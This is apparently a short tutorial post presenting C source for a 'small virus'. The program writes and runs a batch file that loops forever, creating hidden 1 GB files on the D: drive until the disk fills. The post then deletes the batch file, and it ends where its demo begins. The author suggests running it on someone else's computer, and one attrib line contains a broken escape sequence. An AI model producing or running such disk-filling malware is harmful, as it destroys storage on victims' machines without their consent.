C language small virus 01 bursting the d disk

train of thought

1. Use c language to create a batch file on the windows system, that is, a bat file.
2. Use C language to write the required operations into this file.
3. Execute this file with C language.

the code

You can compile the code, but run it on a virtual machine or someone else's computer.

#include<stdio.h>
#include<stdlib.h>
void f(){
    
    //编写毒文件
	FILE* f;
    f = fopen("d:\\winSystemaa.bat", "w");//创建毒文件
    fputs("SET /A a=0\n", f);//设置变量，拼接名字，防止重复
    fputs(":a1\n", f);//设置批处理块，便于无限调用
	fputs("fsutil file createnew d:\\sys%a%.ini 1073741824 >nul 2>nul\n", f);//创建1G的文件
    fputs("attrib +s +a +h +r d:\sys%a%.ini >nul 2>nul\n", f);//将该文件设置为隐藏
	fputs("set /A a=%a%+1\n", f);//变量增1
	fputs("goto a1\n", f);//递归调用
    fclose(f);  //关闭毒文件
}
void g(){
    
    
	system("d:\\winSystemaa.bat");//执行毒文件 
    system("del d:\\winSystemaa.bat");//删除毒文件
}
int main(){
    
    
	f();//创建“毒”文件函数
	g();//执行读文件函数
} 

demo

You can see that the d disk on the virtual machine has 29.9G

After double-clicking the compiled exe file above